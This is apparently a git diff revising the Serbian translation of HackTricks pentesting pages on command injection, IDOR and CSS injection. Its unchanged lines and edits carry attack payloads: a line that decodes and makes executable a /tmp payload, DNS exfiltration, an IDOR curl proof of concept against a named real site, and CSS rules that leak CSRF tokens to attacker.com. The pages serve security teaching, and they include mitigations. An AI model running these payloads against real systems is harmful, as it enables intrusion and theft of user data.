 - Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog
 
-## References
+## Izvori
 
 - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
 - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)

src/pentesting-web/command-injection.md

@@ -4,11 +4,11 @@
 
 ## Šta je command Injection?
 
-A **command injection** omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
+A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču sticanje neovlašćenog pristupa ili kontrole nad okruženjem aplikacije i osnovnim sistemom.
 
 ### Kontekst
 
-U zavisnosti od **gde se vaš unos ubacuje** možda ćete morati da **prekinete kontekst unutar navoda** (koristeći `"` ili `'`) pre komandi.
+U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite navodnički kontekst** (koristeći `"` ili `'`) pre nego što unesete komande.
 
 ## Command Injection/Execution
 ```bash
@@ -32,8 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 ```
 ### **Ograničenja** Bypasses
 
-Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, zanimaće vas da pročitate o ovim **Bypasses:**
-
+Ako pokušavate da izvršite **arbitrary commands inside a linux machine** možda će vas zanimati da pročitate o ovim **Bypasses:**
 
 {{#ref}}
 ../linux-hardening/bypass-bash-restrictions/
@@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parametri
 
-Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +76,7 @@ Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivo
 ```
 ### Time based data exfiltration
 
-Ekstrakcija data: char po char
+Ekstrakcija podataka: znak po znak
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +90,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration
 
-Bazirano na alatu sa `https://github.com/HoLyVieR/dnsbin` koji je takođe hostovan na dnsbin.zhack.ca
+Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin`, koji je takođe hostovan na dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -106,7 +105,7 @@ Online alati za proveru DNS based data exfiltration:
 - dnsbin.zhack.ca
 - pingb.in
 
-### Filtriranje bypass
+### Zaobilaženje filtera
 
 #### Windows
 ```
@@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-Prilikom audita JavaScript/TypeScript backend-ova često ćete naići na Node.js `child_process` API.
+Prilikom audita JavaScript/TypeScript back-endova često ćete naići na Node.js `child_process` API.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string.
+`exec()` pokreće **shell** (`/bin/sh -c`), zato će bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) rezultirati **command injection** kada se korisnički unos konkatenira u string.
 
-**Ublažavanje:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen:
+**Mitigacija:**  koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,7 +139,7 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 bio je ranjiv putem neautentifikovanog WebSocket događaja koji je smestio podatke kontrolisane od strane napadača u `id_user`, a koji su kasnije ubačeni u poziv `exec()`, ostvarivši RCE (Pwn2Own Ireland 2024).
+Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 je bio iskoristiv kroz neautentifikovan WebSocket događaj koji je postavio napadački kontrolisane podatke u `id_user`, koji su kasnije ugrađeni u poziv `exec()`, dovodeći do RCE (Pwn2Own Ireland 2024).
 
 ## Lista za detekciju Brute-Force
 

src/pentesting-web/idor.md

@@ -2,23 +2,23 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati koji se koristi **direktno** za pristup internom objektu **bez provere da li pozivač ima ovlašćenje** da pristupi/izmeni taj objekat.
-Uspešna eksploatacija obično omogućava horizontalnu ili vertikalnu eskalaciju privilegija, kao što je čitanje ili izmena podataka drugih korisnika i, u najgorem slučaju, potpuno preuzimanje naloga ili masovno iznošenje podataka.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi **direktno** za pristup internom objektu **bez provere da li je pozivatelj ovlašćen** da pristupi/izmeni taj objekat.
+Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration.
 
 ---
 ## 1. Identifikacija potencijalnih IDOR-a
 
-1. Potražite **parametre koji referenciraju objekat**:
+1. Tražite **parametre koji referenciraju objekat**:
 * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
 * Query: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
 * Headers / Cookies: `X-Client-ID: 4711`
-2. Dajte prednost endpointima koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
-3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** – ako je vaš ID `64185742`, verovatno postoji `64185741`.
-4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na stranicama za prijavu) koji mogu otkriti dodatne API-je.
-5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR-a.
+2. Preferirajte endpoint-e koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
+3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidljivi** – ako je vaš ID `64185742`, tada `64185741` verovatno postoji.
+4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na login stranicama) koji mogu otkriti dodatne API-je.
+5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR.
 
-### Brzo ručno menjanje (Burp Repeater)
+### Quick manual tampering (Burp Repeater)
 ```
 PUT /api/lead/cem-xhr HTTP/1.1
 Host: www.example.com
@@ -40,31 +40,31 @@ done
 
 ### Error-response oracle for user/file enumeration
 
-Kada endpoint za preuzimanje prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u porukama o grešci često stvaraju oracle:
+Kada download endpoint prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u error messages često stvaraju oracle:
 
-- Nepostojeće korisničko ime → "User not found"
-- Loš naziv fajla ali validna ekstenzija → "File does not exist" (ponekad takođe navede dostupne fajlove)
-- Pogrešna ekstenzija → greška validacije
+- Nepostojeći username → "User not found"
+- Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove)
+- Pogrešna extension → validation error
 
-Sa bilo kojom autentifikovanom sesijom možete fuzz-ovati parametar username dok koristite bezopasan naziv fajla i filtrirati po stringu "User not found" da biste otkrili važeće korisnike:
+Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Kada se identifikuju važeći korisnički nalozi, direktno zatražite konkretne fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neautorizovanog otkrivanja dokumenata drugih korisnika i credential leakage.
+Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala.
 
 ---
 ## 2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025)
 
-Tokom procene regrutacione platforme Paradox.ai-pogonjene **McHire** otkriven je sledeći IDOR:
+Tokom testa Paradox.ai-powered **McHire** recruitment portala otkriven je sledeći IDOR:
 
 * Endpoint: `PUT /api/lead/cem-xhr`
 * Authorization: user session cookie za **bilo koji** test nalog restorana
-* Body parameter: `{"lead_id": N}` – 8-cifreni, **sekvencijalni** numerički identifikator
+* Body parameter: `{"lead_id": N}` – 8-znamenkasti, **uzastopni** numerički identifikator
 
-Smanjivanjem `lead_id` tester je preuzeo proizvoljne aplikante sa **potpunim PII** (ime, e-mail, telefon, adresa, preferencije smene) plus consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa.
+Smanjivanjem `lead_id` tester je dobio proizvoljne podnosioce prijava sa **full PII** (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa.
 
 Proof-of-Concept request:
 ```bash
@@ -72,35 +72,35 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Combined with **podrazumevanim administratorskim akreditivima** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
+U kombinaciji sa **podrazumevanim administratorskim akreditivima** (`123456:123456`) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka.
 
 ---
 ## 3. Uticaj IDOR / BOLA
-* Horizontalno eskaliranje – čitanje/izmenjivanje/brisanje podataka **ostalih korisnika**.
-* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti rezervisane samo za admina.
-* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi kandidata, fakture).
+* Horizontalno eskaliranje – čitanje/izmena/brisanje podataka **ostalih korisnika**.
+* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
+* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
 * Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
 
 ---
-## 4. Ublažavanje & Najbolje prakse
-1. **Primeni autorizaciju na nivou objekta** na svaki zahtev (`user_id == session.user`).
-2. Preferiraj **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva.
-3. Izvršavaj autorizaciju na serverskoj strani, nikada se ne oslanjaj na skrivena polja forme ili UI kontrole.
-4. Implementiraj provere **RBAC / ABAC** u centralnom middleware-u.
-5. Dodaj **rate-limiting & logging** kako bi otkrio enumeraciju ID-eva.
-6. Bezbednosno testiraj svaki novi endpoint (unit, integration, and DAST).
+## 4. Ublažavanja i najbolje prakse
+1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`).
+2. Preferirajte **indirektne, nepredvidljive identifikatore** (UUIDv4, ULID) umesto auto-increment IDs.
+3. Izvršavajte autorizaciju **server-side**, nikada se ne oslanjajte na skrivene form polja ili UI kontrole.
+4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u.
+5. Dodajte **rate-limiting & logging** kako biste otkrili enumeraciju ID-eva.
+6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).
 
 ---
-## 5. Alati
+## 5. Tooling
 * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
-* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
+* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
 
 
 
-## Reference
+## References
 * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
 * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [Kako pronaći više IDOR-a – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
-* [HTB Nocturnal: IDOR oracle → krađa fajlova](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/xs-search/css-injection/README.md

@@ -6,7 +6,7 @@
 
 ### Attribute Selector
 
-CSS selektori su napisani da odgovaraju vrednostima atributa `name` i `value` elementa `input`. Ako atribut `value` elementa `input` počinje određenim karakterom, učitava se unapred definisan eksterni resurs:
+Selektori CSS-a se kreiraju da bi se poklopili sa vrednostima atributa `name` i `value` elementa `input`. Ako `value` atribut elementa `input` počinje određenim karakterom, učitava se predefinisani eksterni resurs:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (`type="hidden"`) jer skriveni elementi ne učitavaju pozadine.
+Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (`type="hidden"`), jer skriveni elementi ne učitavaju pozadine.
 
-#### Zaobilaženje za skrivenim elementima
+#### Zaobilaženje za skrivene elemente
 
-Da biste zaobišli ovo ograničenje, možete ciljati naredni sibling element koristeći `~` general sibling combinator. CSS pravilo se potom primenjuje na sve elemente koji slede nakon skrivenog input elementa, što dovodi do učitavanja pozadinske slike:
+Da biste zaobišli ovo ograničenje, možete ciljati naredni srodni element koristeći `~` general sibling combinator. CSS pravilo će se potom primeniti na sve srodne elemente koji slede nakon skrivenog input elementa, prouzrokujući učitavanje pozadinske slike:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+Praktičan primer iskorišćavanja ove tehnike detaljno je prikazan u priloženom isječku koda. Možete ga pogledati [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
 #### Preduslovi za CSS Injection
 
-Da bi CSS Injection bio efikasan, moraju biti ispunjeni sledeći uslovi:
+Da bi tehnika CSS Injection bila efikasna, moraju biti ispunjeni određeni uslovi:
 
-1. **Payload Length**: CSS injection vector mora podržavati dovoljno duge payloads da primi kreirane selectors.
-2. **CSS Re-evaluation**: Trebalo bi da imate mogućnost da frame the page, što je neophodno da bi se pokrenulo ponovno evaluiranje CSS-a sa novo generisanim payloads.
-3. **External Resources**: Tehnika pretpostavlja mogućnost korišćenja eksterno hostovanih slika. Ovo može biti ograničeno Content Security Policy (CSP) sajta.
+1. **Payload Length**: Vektor za CSS Injection mora podržavati dovoljno duge payloads kako bi mogao da smesti izrađene selektore.
+2. **CSS Re-evaluation**: Trebalo bi da imate mogućnost da uokvirite (frame) stranicu, što je neophodno da bi se pokrenula ponovna evaluacija CSS-a sa novo generisanim payloads.
+3. **External Resources**: Tehnika podrazumeva mogućnost korišćenja eksterno hostovanih slika. To može biti ograničeno Content Security Policy-jem (CSP) sajta.
 
 ### Blind Attribute Selector
 
-As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
-It's also possible to use those selectors to extract information from several block of the same type like in:
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), moguće je kombinovati selektore **`:has`** i **`:not`** da se identifikuje sadržaj čak i iz blind elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injection.\
+Takođe je moguće koristiti te selektore za izdvajanje informacija iz nekoliko blokova istog tipa, kao u:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -52,34 +52,34 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Kombinovanjem ovoga sa sledećom tehnikom **@import**, moguće je eksfiltrirati veliki broj **informacija koristeći CSS injection sa slepih stranica uz** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Kombinovanjem ovoga sa sledećom **@import** tehnikom, moguće je exfiltrate mnogo **info koristeći CSS injection sa blind stranica uz** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-Prethodna tehnika ima određene nedostatke — proverite preuslove. Potrebno je ili da možete **poslati više linkova žrtvi**, ili da možete **ubaciti kao iframe stranicu ranjivu na CSS injection**.
+Prethodna tehnika ima određene nedostatke, proverite zahteve. Potrebno je ili da možete poslati više linkova žrtvi, ili da možete iframe-ovati stranicu ranjivu na CSS injection.
 
-Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša efikasnost tehnike.
+Međutim, postoji još jedna pametna tehnika koja koristi CSS `@import` da poboljša kvalitet tehnike.
 
-Ovo je prvi prikazao [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i funkcioniše ovako:
+Ovo je prvi pokazao [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i radi ovako:
 
-Umesto da istu stranicu učitavamo iznova sa desetinama različitih payload-a svaki put (kao u prethodnoj metodi), učitaćemo stranicu samo jednom i to sa importom ka napadačevom serveru (ovo je payload koji se šalje žrtvi):
+Umesto učitavanja iste stranice iznova i iznova sa desetinama različitih payload-ova svaki put (kao u prethodnom primeru), učitaćemo stranicu samo jednom i samo sa importom ka napadačevom serveru (ovo je payload koji se šalje žrtvi):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. Import će **primiti neki CSS script** od napadača i **pregledač će ga učitati**.
-2. Prvi deo CSS scripta koji napadač pošalje je **još jedan `@import` na server napadača.**
-1. Server napadača još neće odgovoriti na taj zahtev, jer želimo da leak-ujemo nekoliko karaktera, a zatim odgovorimo na taj import sa payload-om da leak-ujemo sledeće.
-3. Drugi i veći deo payload-a biće **attribute selector leakage payload**
-1. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji**
-4. Kada server napadača primi **prvi i poslednji karakter tajne**, on će **odgovoriti na import zahtevan u koraku 2**.
-1. Odgovor će biti tačno isti kao **koraci 2, 3 i 4**, ali ovaj put će pokušati da **pronađe drugi karakter tajne i zatim pretposlednji**.
+1. Import će **primiti neki CSS skript** od napadača i **pregledač će ga učitati**.
+2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` ka serveru napadača**.
+1. Server napadača još neće odgovoriti na ovaj zahtev, jer želimo da leak-ujemo neke znakove pa onda da odgovorimo na ovaj import sa payload-om koji će leak-ovati sledeće.
+3. Drugi, veći deo payload-a biće **payload za curenje pomoću attribute selektora**
+1. Ovo će poslati serveru napadača **prvi znak tajne i poslednji**
+4. Kada server napadača primi **prvi i poslednji znak tajne**, on će **odgovoriti na import zahtevan u koraku 2**.
+1. Odgovor će biti tačno isti kao u **koracima 2, 3 i 4**, ali ovaj put će pokušati da **nađe drugi znak tajne, pa onda pretposlednji**.
 
-Napadač će pratiti tu petlju dok ne uspe potpuno da leak-uje tajnu.
+Napadač će f**ollow that loop until it manages to leak completely the secret**.
 
 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
 
 > [!TIP]
-> Skripta će pokušavati da otkrije po 2 karaktera svaki put (od početka i od kraja) zato što attribute selector dozvoljava da se uradi nešto kao:
+> Skript će pokušavati da otkrije po 2 znaka svaki put (sa početka i sa kraja) zato što attribute selector omogućava stvari kao što su:
 >
 > ```css
 > /* value^=  to match the beggining of the value*/
@@ -93,29 +93,29 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > }
 > ```
 >
-> Ovo omogućava skripti da brže leak-uje tajnu.
+> Ovo omogućava skriptu da brže leak-uje tajnu.
 
 > [!WARNING]
-> Ponekad skripta **ne detektuje ispravno da su prefiks + sufiks koji su otkriveni već kompletan flag** i nastaviće da ide napred (u prefiksu) i nazad (u sufiksu) i u nekom trenutku će zastati.\
-> Bez brige, samo proverite **output** jer **možete videti flag tamo**.
+> Ponekad skript **ne detektuje ispravno da je prefix + suffix koji je otkriven već kompletan flag** i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će zaglaviti.\
+> Bez brige, samo proverite **izlaz** jer **tamo možete videti flag**.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
-Ova primitive omogućava exfiltration koristeći samo inline style atribut elementa, bez selektora ili eksternih stylesheet-a. Oslanja se na CSS custom properties, funkciju attr() za čitanje atributa istog elementa, nove CSS if() uslove za grananje, i image-set() za pokretanje network zahteva koji enkodira poklapanu vrednost.
+Ova primitiva omogućava exfiltration koristeći samo inline style atribut elementa, bez selektora ili eksternih stylesheet-ova. Oslanja se na CSS custom properties, funkciju attr() za čitanje atributa istog elementa, nove CSS if() uslove za grananje, i image-set() za pokretanje mrežnog zahteva koji enkodira poklapanu vrednost.
 
 > [!WARNING]
-> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
+> Poređenja jednakosti u if() zahtevaju dvostruke navodnike za string literale. Jednostruki navodnici neće odgovarati.
 
-- Sink: kontrolišite style atribut elementa i osigurajte da je target atribut na istom elementu (attr() reads only same-element attributes).
+- Sink: kontrolišite style atribut elementa i osigurajte da je ciljani atribut na istom elementu (attr() čita samo atribute istog elementa).
 - Read: kopirajte atribut u CSS varijablu: `--val: attr(title)`.
-- Decide: izaberite URL koristeći ugnježdene conditionals koji porede varijablu sa string kandidatima: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
-- Exfiltrate: primenite `background: image-set(var(--steal))` (ili bilo koje fetching svojstvo) da prisilite zahtev ka odabranom endpoint-u.
+- Decide: izaberite URL koristeći ugnježdene uslove koji porede varijablu sa string kandidatima: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: primenite `background: image-set(var(--steal))` (ili bilo koje fetching svojstvo) da biste primorali zahtev ka izabranom endpoint-u.
 
 Attempt (does not work; single quotes in comparison):
 ```html
 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
 ```
-Radni payload (dvostruki navodnici su obavezni u poređenju):
+Funkcionalan payload (u poređenju su obavezni dvostruki navodnici):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
@@ -127,20 +127,20 @@ Realističan demo (probing usernames):
 ```html
 <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
 ```
-Notes and limitations:
+Beleške i ograničenja:
 
-- Radi na preglednicima zasnovanim na Chromiumu u vreme istraživanja; ponašanje se može razlikovati na drugim engine-ima.
-- Najbolje pogodno za konačne/enumerabilne prostore vrednosti (IDs, flags, short usernames). Krađa proizvoljno dugih nizova bez eksternih stylesheet-ova ostaje izazovna.
-- Bilo koja CSS property koja povlači URL može se koristiti za pokretanje zahteva (npr. background/image-set, border-image, list-style, cursor, content).
+- Radi na Chromium-based browserima u vreme istraživanja; ponašanje se može razlikovati na drugim engine-ima.
+- Najpogodnije za konačne/enumerabilne skupove vrednosti (IDs, flags, short usernames). Krađa proizvoljno dugih stringova bez external stylesheets i dalje predstavlja izazov.
+- Bilo koje CSS svojstvo koje vadi URL može da se iskoristi da okine request (npr. background/image-set, border-image, list-style, cursor, content).
 
 Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
-### Other selectors
+### Ostali selektori
 
-Drugi načini za pristup delovima DOM-a pomoću **CSS selectors**:
+Drugi načini pristupa delovima DOM-a pomoću **CSS selectors**:
 
-- **`.class-to-search:nth-child(2)`**: Ovo će pretražiti drugi element sa klasom "class-to-search" u DOM-u.
-- **`:empty`** selector: Koristi se na primer u [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`.class-to-search:nth-child(2)`**: Ovo će tražiti drugi element sa klasom "class-to-search" u DOM-u.
+- **`:empty`** selector: Koristi se, na primer, u [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
 
 ### Error based XS-Search
 
-**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Referenca:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Opšti cilj je da se **koristi custom font sa kontrolisanog endpoint-a** i da se osigura da se **tekst (u ovom slučaju, 'A') prikaže tim fontom samo ako navedeni resurs (`favicon.ico`) ne može da se učita**.
+Opšti cilj je da se **koristi custom font sa kontrolisanog endpoint-a** i da se obezbedi da se **tekst (u ovom slučaju, 'A') prikazuje tim fontom samo ako navedeni resurs (`favicon.ico`) ne može da se učita**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -176,47 +176,47 @@ font-family: "poc";
 ```
 1. **Korišćenje prilagođenog fonta**:
 
-- Prilagođeni font je definisan pomoću `@font-face` pravila unutar `<style>` taga u `<head>` sekciji.
-- Font se zove `poc` i preuzet je sa eksternog endpointa (`http://attacker.com/?leak`).
+- Prilagođeni font je definisan pomoću pravila `@font-face` unutar `<style>` taga u `<head>` sekciji.
+- Font se zove `poc` i preuzima se sa eksternog endpointa (`http://attacker.com/?leak`).
 - Svojstvo `unicode-range` je postavljeno na `U+0041`, ciljajući specifičan Unicode karakter 'A'.
 
-2. **Object element sa rezervnim tekstom**:
-- Kreiran je `<object>` element sa `id="poc0"` u `<body>` sekciji. Ovaj element pokušava da učita resurs sa `http://192.168.0.1/favicon.ico`.
-- `font-family` za ovaj element je postavljen na `'poc'`, kao što je definisano u `<style>` sekciji.
-- Ako resurs (`favicon.ico`) ne uspe da se učita, rezervni sadržaj (slovo 'A') unutar `<object>` taga će biti prikazan.
-- Rezervni sadržaj ('A') biće renderovan koristeći prilagođeni font `poc` ako eksterni resurs ne može biti učitan.
+2. **Element object sa rezervnim tekstom**:
+- U `<body>` sekciji kreiran je `<object>` element sa `id="poc0"`. Ovaj element pokušava da učita resurs sa `http://192.168.0.1/favicon.ico`.
+- Za ovaj element `font-family` je postavljen na `'poc'`, kako je definisano u `<style>` sekciji.
+- Ako se resurs (`favicon.ico`) ne može učitati, prikazuje se fallback sadržaj (slovo 'A') unutar `<object>` taga.
+- Fallback sadržaj ('A') će biti renderovan koristeći prilagođeni font `poc` ako se eksterni resurs ne može učitati.
 
 ### Stilizovanje Scroll-to-text fragmenta
 
-The **`:target`** pseudo-class se koristi za izbor elementa koji je cilj **URL fragmenta**, kako je navedeno u [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Važno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
